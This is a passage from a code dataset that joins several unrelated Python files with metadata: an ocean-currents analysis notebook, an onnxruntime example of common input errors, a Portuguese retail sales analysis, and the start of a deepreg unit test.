<markdowncell>\n\n# <div class=\"error\">\n# <strong>Large Temporal Requests Need To Be Broken Down</strong> -\n# Obtaining long time series from COOPS via SOS is not ideal and the opendap\n# links are not available, so we use the tides and currents api to get the\n# currents in json format. The api response provides in default bin, unless a\n# bin is specified (i.e bin=1)</div>\n\n# <markdowncell>\n\n# <div class=\"warning\"><strong>Pyoos</strong> -\n# Should be able to use the collector, but does not work?</div>\n\n# <markdowncell>\n\n# <div class=\"info\">\n# <strong>Use NDBC DAP endpoints to get time-series data</strong> -\n# The DAP server for currents is available for NDBC data, we use that\n# to get long time series data.</div>\n\n# <markdowncell>\n\n# <div class=\"info\"><strong>Progress Information For Large Requests</strong> -\n# Shows the user a progress bar for each stations as its processed.  Click\n# [here]('http://www.tidesandcurrents.noaa.gov/cdata/StationList?type=Current+Data&filter=active')\n# to show more information on the CO-OPS locations</div>\n\n# <markdowncell>\n\n# <div class=\"error\"><strong>Processing long time series</strong> -\n# The CO-OPS Server responds really slow (> 30 secs, for what should be\n# a 5 sec request) to multiple requests, so getting long time series\n# data is almost impossible.</div>\n\n# <markdowncell>\n\n# #### get CO-OPS station data\n\n# <codecell>\n\n# Used to define the number of days allowable by the service.\ncoops_point_max_days = ndbc_point_max_days = 30\nprint(\"start & end dates: %s, %s\\n\" % (jd_start, jd_stop))\n\nfor station_index in st_list.keys():\n    # Set it so we can use it later.\n    st = station_index.split(\":\")[-1]\n    print('[%s]: %s' % (st_list[station_index]['source'], station_index))\n    divid = str(uuid.uuid4())\n\n    if st_list[station_index]['source'] == 'coops':\n        # Coops fails for large requests.\n        master_df = []\n    elif st_list[station_index]['source'] == 'ndbc':\n        # Use the dap catalog to get the data.\n        master_df = get_ncfiles_catalog(station_index, jd_start, jd_stop)\n    if len(master_df) > 0:\n        st_list[station_index]['hasObsData'] = True\n    st_list[station_index]['obsData'] = master_df\n\n# <codecell>\n\n# Check theres data in there.\nst_list[st_list.keys()[2]]\n\n# <markdowncell>\n\n# ### Plot the pandas data frames for the stations\n\n# <markdowncell>\n\n# <div class=\"error\"><strong>Station Data Plot</strong> -\n# There might be an issue with some of the NDBC station data...</div>\n\n# <codecell>\n\nfor station_index in st_list.keys():\n    df = st_list[station_index]['obsData']\n    if len(df) > 1:\n        st_list[station_index]['hasObsData'] = True\n        print(\"num rows: %s\" % len(df))\n        fig = plt.figure(figsize=(18, 3))\n        plt.scatter(df.index, df['sea_water_speed (cm/s)'])\n        fig.suptitle('Station:'+station_index, fontsize=20)\n        plt.xlabel('Date', fontsize=18)\n        plt.ylabel('sea_water_speed (cm/s)', fontsize=16)\n    else:\n        st_list[station_index]['hasObsData'] = False\n\n# <markdowncell>\n\n# #### Find the min and max data values\n\n# <markdowncell>\n\n# <div class=\"warning\"><strong>Station Data Plot</strong> -\n# Some stations might not plot due to the data.</div>\n\n# <codecell>\n\n# Build current roses.\nfilelist = [f for f in os.listdir(\"./images\") if f.endswith(\".png\")]\nfor f in filelist:\n    os.remove(\"./images/{}\".format(f))\n\nstation_min_max = {}\nfor station_index in st_list.keys():\n    all_spd_data = {}\n    all_dir_data = {}\n    all_time_spd = []\n    all_time_dir = []\n    df = st_list[station_index]['obsData']\n    if len(df) > 1:\n        try:\n            spd_data = df['sea_water_speed (cm/s)'].values\n            spd_data = np.array(spd_data)\n\n            dir_data = df['direction_of_sea_water_velocity (degree)'].values\n            dir_data = np.array(dir_data)\n\n            time_data = df.index.tolist()\n            time_data = np.array(time_data)\n\n            # NOTE: This data cleanup can a vectorized function.\n            for idx in range(0, len(spd_data)):\n                if spd_data[idx] > 998:\n                    continue\n                elif np.isnan(spd_data[idx]):\n                    continue\n                elif dir_data[idx] == 0:\n                    continue\n                else:\n                    dt_year = time_data[idx].year\n                    dt_year = str(dt_year)\n                    if dt_year not in all_spd_data.keys():\n                        all_spd_data[dt_year] = []\n                        all_dir_data[dt_year] = []\n                    # Convert to knots.\n                    knot_val = (spd_data[idx] * 0.0194384449)\n                    knot_val = \"%.4f\" % knot_val\n                    knot_val = float(knot_val)\n\n                    all_spd_data[dt_year].append(knot_val)\n                    all_dir_data[dt_year].append(dir_data[idx])\n\n                    all_time_spd.append(knot_val)\n                    all_time_dir.append(dir_data[idx])\n\n            all_time_spd = np.array(all_time_spd, dtype=np.float)\n            all_time_dir = np.array(all_time_dir, dtype=np.float)\n\n            station_min_max[station_index] = {}\n            for year in all_spd_data.keys():\n                year_spd = np.array(all_spd_data[year])\n                year_dir = np.array(all_dir_data[year])\n                station_min_max[station_index][year] = {}\n                station_min_max[station_index][year]['pts'] = len(year_spd)\n                min_spd, max_spd = np.min(year_spd), np.max(year_spd)\n                station_min_max[station_index][year]['spd_min'] = min_spd\n                station_min_max[station_index][year]['spd_max'] = max_spd\n                dir_min, dir_max = np.argmin(year_spd), np.argmax(year_spd)\n                yr_dir_min, yr_dir_max = year_dir[dir_min], year_dir[dir_max]\n                station_min_max[station_index][year]['dir_at_min'] = yr_dir_min\n                station_min_max[station_index][year]['dir_at_max'] = yr_dir_max\n            try:\n                # A stacked histogram with normed\n                # (displayed in percent) results.\n                ax = new_axes()\n                ax.set_title(station_index.split(\":\")[-1] +\n                             \" stacked histogram with normed (displayed in %)\"\n                             \"\\nresults (spd in knots), All Time.\")\n                ax.bar(all_time_dir, all_time_spd, normed=True,\n                       opening=0.8, edgecolor='white')\n                set_legend(ax)\n\n                fig = plt.gcf()\n                fig.set_size_inches(8, 8)\n                fname = './images/%s.png' % station_index.split(\":\")[-1]\n                fig.savefig(fname, dpi=100)\n            except Exception as e:\n                print(\"Error when plotting %s\" % e)\n                pass\n\n        except Exception as e:  # Be specific here!\n            print(\"Error: %s\" % e)\n            pass\n\n# <codecell>\n\n# Plot the min and max from each station.\nfields = ['spd_']\n\nfor idx in range(0, len(fields)):\n    d_field = fields[idx]\n    fig, ax = plt.subplots(1, 1, figsize=(18, 5))\n    for st in station_min_max:\n        x, y_min, y_max = [], [], []\n        for year in station_min_max[st]:\n            x.append(year)\n            y_max.append(station_min_max[st][year][d_field+'max'])\n        marker_size = station_min_max[st][year]['pts'] / 80\n        marker_size += 20\n        station_label = st.split(\":\")[-1]\n\n        ax.scatter(np.array(x), np.array(y_max),\n                   label=station_label, s=marker_size,\n                   c=np.random.rand(3, 1), marker=\"o\")\n        ax.set_xlim([2000, 2015])\n        ax.set_title(\"Yearly Max Speed Per Station, Marker Scaled Per \"\n                     \"Annual Pts (bigger = more pts per year)\")\n        ax.set_ylabel(\"speed (knots)\")\n        ax.set_xlabel(\"Year\")\n        ax.legend(loc='upper left')\n\n# <markdowncell>\n\n# #### Produce Interactive Map\n\n# <codecell>\n\nstation = st_list[st_list.keys()[0]]\nm = folium.Map(location=[station[\"lat\"], station[\"lon\"]], zoom_start=4)\nm.line(get_coordinates(bounding_box, bounding_box_type),\n       line_color='#FF0000', line_weight=5)\n\n# Plot the obs station.\nfor st in st_list:\n    hasObs = st_list[st]['hasObsData']\n    if hasObs:\n        fname = './images/%s.png' % st.split(\":\")[-1]\n        if os.path.isfile(fname):\n            popup = ('Obs Location:<br>%s<br><img border=120 src=\"'\n                     './images/%s.png\" width=\"242\" height=\"242\">' %\n                     (st, st.split(\":\")[-1]))\n            m.simple_marker([st_list[st][\"lat\"], st_list[st][\"lon\"]],\n                            popup=popup,\n                            marker_color=\"green\",\n                            marker_icon=\"ok\")\n        else:\n            popup = 'Obs Location:<br>%s' % st\n            m.simple_marker([st_list[st][\"lat\"], st_list[st][\"lon\"]],\n                            popup=popup,\n                            marker_color=\"green\",\n                            marker_icon=\"ok\")\n    else:\n        popup = 'Obs Location:<br>%s' % st\n        m.simple_marker([st_list[st][\"lat\"], st_list[st][\"lon\"]],\n                        popup=popup,\n                        marker_color=\"red\",\n                        marker_icon=\"remove\")\ninline_map(m)\n\n# <codecell>\n\nelapsed = time.time() - start_runtime\nprint('{:.2f} minutes'.format(elapsed / 60.))\n\n", "meta": {"hexsha": "6a5dead35d43a2a3328704822543af92af715f90", "size": 17130, "ext": "py", "lang": "Python", "max_stars_repo_path": "system-test/Theme_2_Extreme_Events/Scenario_2A/Extremes_Currents/Extreme_Currents.py", "max_stars_repo_name": "petercunning/notebook", "max_stars_repo_head_hexsha": "5b26f2dc96bcb36434542b397de6ca5fa3b61a0a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 32, "max_stars_repo_stars_event_min_datetime": "2015-01-07T01:48:05.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-02T07:07:42.000Z", "max_issues_repo_path": "system-test/Theme_2_Extreme_Events/Scenario_2A/Extremes_Currents/Extreme_Currents.py", "max_issues_repo_name": "petercunning/notebook", "max_issues_repo_head_hexsha": "5b26f2dc96bcb36434542b397de6ca5fa3b61a0a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2015-04-13T21:00:18.000Z", "max_issues_repo_issues_event_max_datetime": "2015-04-13T21:00:18.000Z", "max_forks_repo_path": "system-test/Theme_2_Extreme_Events/Scenario_2A/Extremes_Currents/Extreme_Currents.py", "max_forks_repo_name": "petercunning/notebook", "max_forks_repo_head_hexsha": "5b26f2dc96bcb36434542b397de6ca5fa3b61a0a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 30, "max_forks_repo_forks_event_min_datetime": "2015-01-28T09:31:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-07T03:08:28.000Z", "avg_line_length": 30.6989247312, "max_line_length": 157, "alphanum_fraction": 0.6291885581, "include": true, "reason": "import numpy", "num_tokens": 4522, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.15405755492358, "lm_q1q2_score": 0.0668581233498423}}
{"text": "# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\n\"\"\"\n.. _l-example-common-error:\n\nCommon errors with onnxruntime\n==============================\n\nThis example looks into several common situations\nin which *onnxruntime* does not return the model \nprediction but raises an exception instead.\nIt starts by loading the model trained in example\n:ref:`l-logreg-example` which produced a logistic regression\ntrained on *Iris* datasets. The model takes\na vector of dimension 2 and returns a class among three.\n\"\"\"\nimport onnxruntime as rt\nimport numpy\nfrom onnxruntime.datasets import get_example\n\nexample2 = get_example(\"logreg_iris.onnx\")\nsess = rt.InferenceSession(example2)\n\ninput_name = sess.get_inputs()[0].name\noutput_name = sess.get_outputs()[0].name\n\n#############################\n# The first example fails due to *bad types*.\n# *onnxruntime* only expects single floats (4 bytes)\n# and cannot handle any other kind of floats.\n\ntry:\n    x = numpy.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=numpy.float64)\n    sess.run([output_name], {input_name: x})\nexcept Exception as e:\n    print(\"Unexpected type\")\n    print(\"{0}: {1}\".format(type(e), e))\n    \n#########################\n# The model fails to return an output if the name\n# is misspelled.\n\ntry:\n    x = numpy.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=numpy.float32)\n    sess.run([\"misspelled\"], {input_name: x})\nexcept Exception as e:\n    print(\"Misspelled output name\")\n    print(\"{0}: {1}\".format(type(e), e))\n\n###########################\n# The output name is optional, it can be replaced by *None*\n# and *onnxruntime* will then return all the outputs.\n\nx = numpy.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=numpy.float32)\nres = sess.run(None, {input_name: x})\nprint(\"All outputs\")\nprint(res)\n\n#########################\n# The same goes if the input name is misspelled.\n\ntry:\n    x = numpy.array([[1.0, 2.0], [3.0, 4.0], [5.0, 6.0]], dtype=numpy.float32)\n    sess.run([output_name], {\"misspelled\": x})\nexcept Exception as e:\n    print(\"Misspelled input name\")\n    print(\"{0}: {1}\".format(type(e), e))\n\n#########################\n# *onnxruntime* does not necessarily fail if the input\n# dimension is a multiple of the expected input dimension.\n\nfor x in [\n        numpy.array([1.0, 2.0, 3.0, 4.0], dtype=numpy.float32),\n        numpy.array([[1.0, 2.0, 3.0, 4.0]], dtype=numpy.float32),\n        numpy.array([[1.0, 2.0], [3.0, 4.0]], dtype=numpy.float32),\n        numpy.array([1.0, 2.0, 3.0], dtype=numpy.float32),\n        numpy.array([[1.0, 2.0, 3.0]], dtype=numpy.float32),\n        ]:\n    r = sess.run([output_name], {input_name: x})\n    print(\"Shape={0} and predicted labels={1}\".format(x.shape, r))\n\nfor x in [\n        numpy.array([1.0, 2.0, 3.0, 4.0], dtype=numpy.float32),\n        numpy.array([[1.0, 2.0, 3.0, 4.0]], dtype=numpy.float32),\n        numpy.array([[1.0, 2.0], [3.0, 4.0]], dtype=numpy.float32),\n        numpy.array([1.0, 2.0, 3.0], dtype=numpy.float32),\n        numpy.array([[1.0, 2.0, 3.0]], dtype=numpy.float32),\n        ]:\n    r = sess.run(None, {input_name: x})\n    print(\"Shape={0} and predicted probabilities={1}\".format(x.shape, r[1]))\n\n#########################\n# It does not fail either if the number of dimension\n# is higher than expects but produces a warning.\n\nfor x in [\n        numpy.array([[[1.0, 2.0], [3.0, 4.0]]], dtype=numpy.float32),\n        numpy.array([[[1.0, 2.0, 3.0]]], dtype=numpy.float32),\n        numpy.array([[[1.0, 2.0]], [[3.0, 4.0]]], dtype=numpy.float32),\n        ]:\n    r = sess.run([output_name], {input_name: x})\n    print(\"Shape={0} and predicted labels={1}\".format(x.shape, r))\n", "meta": {"hexsha": "ab50e4f942574b14ed9c788f6bff0cb4f1cc35b6", "size": 3649, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/python/examples/plot_common_errors.py", "max_stars_repo_name": "hqucms/onnxruntime", "max_stars_repo_head_hexsha": "6e4e76414639f50836a64546603c8957227857b0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-01-29T03:48:42.000Z", "max_stars_repo_stars_event_max_datetime": "2019-01-29T07:51:31.000Z", "max_issues_repo_path": "docs/python/examples/plot_common_errors.py", "max_issues_repo_name": "hqucms/onnxruntime", "max_issues_repo_head_hexsha": "6e4e76414639f50836a64546603c8957227857b0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-10-08T14:20:49.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-19T16:56:52.000Z", "max_forks_repo_path": "docs/python/examples/plot_common_errors.py", "max_forks_repo_name": "hqucms/onnxruntime", "max_forks_repo_head_hexsha": "6e4e76414639f50836a64546603c8957227857b0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2021-06-05T19:52:22.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-30T13:58:13.000Z", "avg_line_length": 34.7523809524, "max_line_length": 78, "alphanum_fraction": 0.6078377638, "include": true, "reason": "import numpy", "num_tokens": 1126, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.13660839529884056, "lm_q1q2_score": 0.0667036110824334}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %% [markdown]\n# ## Setup\n# \n# A c\u00e9lula abaixo carrega as bibliotecas e arquivos necess\u00e1rios para gerar os dataframes e suas respectivas explora\u00e7\u00f5es neste .ipynb.\n\n# %%\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nonline_pageviews = pd.read_json('dados/online_pageviews.json',lines='True')\noffline_sales = pd.read_json('dados/offline_sales.json',lines='True')\nonline_orders = pd.read_json('dados/online_orders.json', lines='True')\n\n# %% [markdown]\n# ## 1. Qual foi o faturamento total no per\u00edodo? \n# \n# Pode-se determinar o faturamento total do presente per\u00edodo fiscal como a soma do valor total de todos os pedidos online e f\u00edsicos listados, sendo o valor total de um pedido determinado por `total_order_value = quantity X price`.\n# \n# Assim, criando uma coluna adicional em cada dataframe de vendas, pode-se obter a soma do valor final de todas elas, online e f\u00edsicas, conforme a c\u00e9ulula abaixo.\n\n# %%\n# gerar colunas de valor total de pedido para vendas f\u00edsicas e online\noffline_sales['total_order_value'] = offline_sales.apply(lambda row: (row['quantity'] * row['price']), axis=1)\nonline_orders['total_order_value'] = online_orders.apply(lambda row: (row['quantity'] * row['price']), axis=1)\n\n# obter valor total de faturamento\ntotal_value_from_sales_sum = offline_sales.total_order_value.sum() + online_orders.total_order_value.sum()\ntotal_value_from_sales_sum\n\n# %% [markdown]\n# ## 2. Qual foi o produto mais vendido online?\n# \n# Para tanto, a forma mais direta \u00e9 obter quais quantidades de produto est\u00e3o associadas a determinado id de produto em cada pedido, somando-as e comparando de acordo. \n# \n# Buscando no dataframe 'online_orders', pode-se utilizar o m\u00e9todo 'groupby' do pandas para agrupar todos os ids de produto e suas respectivas quantidades, que, conjuntamente com o m\u00e9todo 'apply' e argumento 'sum', soma todos os valores encontrados de quantidade em fun\u00e7\u00e3o do id associado, retornando em formato de lista.\n\n# %%\n# agrupar por id e somar quantidades, ordenar por mais vendidos:\nmost_sold = online_orders.groupby('on_product_id')['quantity'].apply(sum).reset_index(drop=False)\nmost_sold.sort_values(by='quantity',ascending=False)\n\n# caso queira apenas o resultado direto:\n# most_sold.iloc[most_sold['quantity'].idxmax()]\n\n# %% [markdown]\n# Podemos ver ent\u00e3o que o produto de id `626664333563363` \u00e9 o mais vendido do per\u00edodo.\n# %% [markdown]\n# ## 3. Cariocas gostam de comprar fim de semana?\n# \n# \"Gostam\" \u00e9 um crit\u00e9rio muito subjetivo e **muito** dependente de contexto. Idealmente, 'gostar' envolve satisfa\u00e7\u00e3o e prazer. No entanto, com os dados presentes, podemos fazer uma infer\u00eancia de 'preferir', comparando o volume de vendas entre os dias de semana e o final de semana. \n# \n# Como o dataframe de entrada s\u00f3 possui datas em valor num\u00e9rico no formato `date`, \u00e9 melhor criar uma nova coluna que a partir desta data, nos d\u00e1 o dia da semana, o que torna a compara\u00e7\u00e3o entre as vendas de s\u00e1bado e domingo com as de segunda a sexta muito mais f\u00e1ceis.\n\n# %%\n# gerar coluna de dias da semana de acordo com a data num\u00e9rica fornecida\noffline_sales['day_of_the_week'] = offline_sales['date'].dt.day_name()\n\n# localizar todas as vendas do RJ\nRJ_sales = offline_sales.loc[(offline_sales['state'] == 'RJ')]\n\n# %% [markdown]\n# Este tipo de questionamento conduz muito naturalmente a algum tipo de visualiza\u00e7\u00e3o. Como queremos saber a quest\u00e3o de prefer\u00eancia por volume de vendas, vamos comparar por dia da semana. No entanto, algumas necessidades espec\u00edficas das ferramentas requerem certa manipula\u00e7\u00e3o.\n# \n# Primeiro, para organizar o gr\u00e1fico, devemos gerar uma s\u00e9rie categ\u00f3rica que nos d\u00e1 a ordem da semana (para os fins daqui, segunda a domingo). Depois, agrupamos a soma de todos os valores de venda de cada pedido em fun\u00e7\u00e3o do dia da semana, mostrados em barras.\n# \n# (*NOTA T\u00c9CNICA: importante notar que, ao gerar o gr\u00e1fico via c\u00e9lula abaixo, o Pandas retorna um aviso. Isto ocorre devido a uma peculiaridade da linguagem Python e sua flexibilidade interpretativa, que para o Pandas, gera problemas por n\u00e3o saber se as engrenagens do Python est\u00e3o retornando uma c\u00f3pia ou uma 'view' (representa\u00e7\u00e3o) do que foi atribu\u00eddo. Como n\u00e3o ser\u00e3o feitas manipula\u00e7\u00f5es subsequentes dali, pode-se obter a visualiza\u00e7\u00e3o sem problemas.*)\n\n# %%\n# ordenar a semana em formato categ\u00f3rico para ter uma ordem de visualiza\u00e7\u00e3o\nRJ_sales['day_of_the_week'] = pd.Categorical(RJ_sales['day_of_the_week'], categories=\n    ['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday', 'Sunday'],\n    ordered=True)\n\n# gerar gr\u00e1fico de vendas f\u00edsicas do RJ\nRJ_sales_bar_plot = RJ_sales.groupby('day_of_the_week')['total_order_value'].apply(sum).reset_index(drop=False).plot(x='day_of_the_week',y='total_order_value', kind='bar')\n\n# %% [markdown]\n# Comparativamente falando, por meio do crit\u00e9rio de volume de venda, cariocas t\u00eam prefer\u00eancia em comprar de segunda \u00e0 sexta, no que diz respeito \u00e0s lojas f\u00edsicas.\n# %% [markdown]\n# ## 4 - *\u00c9 comum escolher online e terminar a compra na loja f\u00edsica?*\n# \n# Primeiro, \u00e9 necess\u00e1rio estabelecer o que \u00e9 poss\u00edvel de analisar com os dados em m\u00e3os em rela\u00e7\u00e3o aos fatores pedidos.\n# \n# Uma poss\u00edvel (e talvez mais direta abordagem) \u00e9, sabendo que temos um campo `customer_id` comum \u00e0s vendas f\u00edsicas e aos pageviews, encontrar esta popula\u00e7\u00e3o e comparar aos demais clientes. Assumindo que os ids s\u00e3o correspondentes e se tratam de fato do mesmo cliente, ter\u00edamos ent\u00e3o o grupo de consumidores registrados na loja online - e logados, importante lembrar - que fizeram compras f\u00edsicas. Entretanto, isso n\u00e3o nos d\u00e1 ideia de outro grupo muito possivelmente mais significativo, o dos visitantes que compram presencialmente.\n# \n# Valores \u00fanicos de customer_id em offline_sales = 9901\n# \n# Valores nulos para customer_id em offline_sales = 3528\n# \n# Valores \u00fanicos de customer_id em online_pageviews = 5913\n# \n# Valores nulos de customer_id em online_pageviews = **3371775**\n# \n# Interse\u00e7\u00e3o de valores v\u00e1lidos entre os dois = 592\n# \n# Se considerarmos nossa popula\u00e7\u00e3o de teste somente os clientes cadastrados, ent\u00e3o temos apenas 6% deste grupo como pessoas que finalizam suas compras em loja f\u00edsica ap\u00f3s visualizar online.\n# \n# \n\n# %%\n# contagem de ids\noffline_sales['customer_id'].value_counts()\nonline_pageviews['customer_id'].value_counts()\n\n# conjuntos v\u00e1lidos\ns1 = offline_sales['customer_id'].dropna()\ns2 = online_pageviews['customer_id'].dropna()\n\n# contar valores nulos\ncount_nan = len(online_pageviews['customer_id']) - online_pageviews['customer_id'].count()\n# count_nan\n\n# obter interse\u00e7\u00e3o dos conjuntos\npd.Series(list(set(s1)&set(s2)))\n\n# %% [markdown]\n# ## *5: O time de marketing desta rede quer fazer uma campanha oferecendo um cupom de 20% nas compras de loja f\u00edsica para quem visitou o site e abandonou um carrinho com produtos. Estime o resultado dessa campanha.*\n# \n# \u00c9 tentador modelar uma regress\u00e3o logo de in\u00edcio, mas, talvez, temos j\u00e1 o suficiente para uma extrapola\u00e7\u00e3o interessante considerando os fatores da pergunta.\n# \n# 1 -- Visualiza\u00e7\u00e3o online para compra f\u00edsica. Como observado na quest\u00e3o #4, \u00e9 poss\u00edvel inferir que comparado ao restante dos clientes, a popula\u00e7\u00e3o que v\u00ea o site para comprar na loja \u00e9 bem pequena. Embora tenha sido feito somente a partir dos clientes cadastrados, ainda assim \u00e9 uma amostragem significativa. A porcentagem da interse\u00e7\u00e3o entre clientes cadastrados e visualiza\u00e7\u00f5es pode ser extrapolada aos demais?\n# \n# 2 -- Abandono de carrinho. Como isso poderia ser deduzido? Existem quest\u00f5es aqui que ultrapassam o escopo dos dados fornecidos. O site permite que um visitante n\u00e3o-cadastrado construa um carrinho? Se sim, \u00e9 necess\u00e1rio criar um id de cliente para checkout? O checkout \u00e9 tratado como uma compra online ou s\u00f3 no ato da retirada, em que vira uma compra f\u00edsica?\n# \n# Assumindo um m\u00e9todo semelhante \u00e0 quest\u00e3o acima, ao localizarmos os clientes que possuem id e que visualizaram p\u00e1ginas de carrinho, temos 1476 de entradas de id \u00fanico, de 5913 poss\u00edveis em `online_pageviews`. Entretanto, n\u00e3o temos como saber se os carrinhos tinham algo ou n\u00e3o. E/ou se houve abandono da compra,a partir disso.\n# \n# Inferindo a partir das observa\u00e7\u00f5es da #4, seria uma parcela muito pequena da clientela total, e menor ainda presumindo ainda estas condi\u00e7\u00f5es adicionais sendo satisfeitas, para ser uma campanha de efeito significativo. Mais interessante seria talvez um cupom de desconto menor para primeira compra de visitantes online, permitindo aumentar inclusive a base de dados para an\u00e1lise?\n\n# %%\npageviews_customers_with_carts = online_pageviews.loc[(online_pageviews['pageType'] == 'cart') & (online_pageviews['customer_id'])]\npageviews_customers_with_carts.drop_duplicates()\n\nonline_pageviews['customer_id'].dropna().drop_duplicates()\n\n# %% [markdown]\n# # Outros dados:\n# %% [markdown]\n# ## Volume de venda por estado: \n# \n# RJ e SP se posicionam consideravelmente \u00e0 frente dos demais. Considerando que o Sudeste \u00e9 regi\u00e3o mais rica do pa\u00eds, segue uma tend\u00eancia natural. Interessante, no entanto, se mantivermos a an\u00e1lise por quest\u00e3o de PIB, \u00e9 notar a vantagem de Pernambuco sobre o Paran\u00e1 - 10a e 5a economias do pa\u00eds, respectivamente.\n\n# %%\n# obter volume de vendas por estado, gerar gr\u00e1fico de barras:\ntotal_sale_value_by_state = offline_sales.groupby('state')['total_order_value'].apply(sum)\ntotal_sale_value_by_state.plot(x='state',y='total_order_value',kind='bar')\n\n# %% [markdown]\n# ## Quantidade de visualiza\u00e7\u00f5es de p\u00e1gina por tipo de dispositivo:\n# \n# Mantendo a par com a tend\u00eancia global, compras em mobile s\u00e3o mais frequentes que em desktop.\n\n# %%\nonline_pageviews.groupby('deviceType')['deviceType'].count().plot.pie(autopct='%.2f')\n\n# %% [markdown]\n# ## Descri\u00e7\u00e3o estat\u00edstica dos pedidos online por cliente:\n# \n# De 3530 clientes, temos um gasto m\u00e9dio de $1056.82, um desvio-padr\u00e3o de 1484.56, com ganhos galopantes de disp\u00eandio no \u00faltimo quartil: 1232.50 a 25703.00! Do primeiro ao terceiro, temos de 29.00 a 646.00.\n\n# %%\nonline_orders.groupby('customer_id')['total_order_value'].sum().sort_values(ascending=False).describe()\n\n# %% [markdown]\n# ## Descri\u00e7\u00e3o estat\u00edstica dos pedidos em loja f\u00edsica por cliente:\n# \n# De 9901 clientes, temos um gasto m\u00e9dio superior ao online: 1246.50, mas um desvio-padr\u00e3o muito mais acentuado (mais que o dobro, ali\u00e1s). Os avan\u00e7os nos quartis se demonstram razovalmente paralelos at\u00e9, novamente, chegar no \u00faltimo: de 1156.00 a **106473.00**, uma diferen\u00e7a hom\u00e9rica na participa\u00e7\u00e3o de gasto.\n\n# %%\noffline_sales.groupby('customer_id')['total_order_value'].sum().sort_values(ascending=False).describe()\n\n# %% [markdown]\n# ## *B\u00f4nus. O que mais de interessante tem nestes dados?*\n# \n# Certamente, para um varejista (conforme a descri\u00e7\u00e3o do teste), \u00e9 a participa\u00e7\u00e3o maci\u00e7a no valor total de vendas vinda de poucos clientes. Sem outras informa\u00e7\u00f5es \u00e0 m\u00e3o, trata-se de uma interessante e representativa caracter\u00edstica que corrobora o perfil de consumo nacional: certa homogeneidade consistente at\u00e9 determinado n\u00edvel de gasto para avan\u00e7os mais dram\u00e1ticos conforme os percentis avan\u00e7am ao topo.\n\n# %%\n\n\n", "meta": {"hexsha": "4b391e6d6bbda7fdde88807f2a0573bbd40260fd", "size": 11111, "ext": "py", "lang": "Python", "max_stars_repo_path": "python_code.py", "max_stars_repo_name": "vha8907/TesteLinxImpulse", "max_stars_repo_head_hexsha": "73f9dad83b5d1808fe4b1404a820a326fb17026e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python_code.py", "max_issues_repo_name": "vha8907/TesteLinxImpulse", "max_issues_repo_head_hexsha": "73f9dad83b5d1808fe4b1404a820a326fb17026e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python_code.py", "max_forks_repo_name": "vha8907/TesteLinxImpulse", "max_forks_repo_head_hexsha": "73f9dad83b5d1808fe4b1404a820a326fb17026e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 61.0494505495, "max_line_length": 532, "alphanum_fraction": 0.7716677167, "include": true, "reason": "import numpy", "num_tokens": 2976, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.13660839354130014, "lm_q1q2_score": 0.0667036102242556}}
{"text": "\"\"\"\nTests for deepreg/model/layer_util.py in\npytest style\n\"\"\"\nimport numpy as np\nimport pytest\nimport tensorflow as tf\n\nimport deepreg.model.layer_util as layer_util\n\n\ndef check_equal(tensor_1, tensor_2):\n    \"\"\"\n    Given two tf tensors return True/False (not tf tensor)\n    Tolerate small errors (<1e-6)\n    :param tensor_1: Tensor to check equality to against tensor_2.\n    :param tensor_2: Tensor to check equality to against tensor_1.\n    :return: True if difference less than 1e-6, False otherwise.\n    \"\"\"\n    return tf.reduce_max(tf.abs(tensor_1 - tensor_2)).numpy() < 1e-6\n\n\ndef test_check_inputs():\n    \"\"\"\n    Test check_inputs by confirming that it accepts proper\n    types and handles a few simple cases.\n    \"\"\"\n    # Check inputs list - Pass\n    assert layer_util.check_inputs([], 0) is None\n\n    # Check inputs tuple - Pass\n    assert layer_util.check_inputs((), 0) is None\n\n    # Check inputs int - Fail\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.check_inputs(0, 0)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"Inputs should be a list or tuple\" in msg\n\n    # Check inputs float - Fail\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.check_inputs(0.0, 0)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"Inputs should be a list or tuple\" in msg\n\n    # Check size float - Fail\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.check_inputs([1], 0.5)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"Inputs should be a list or tuple of size\" in msg\n\n    # Check size 0 - Pass\n    assert layer_util.check_inputs([], 0) is None\n    assert layer_util.check_inputs((), 0) is 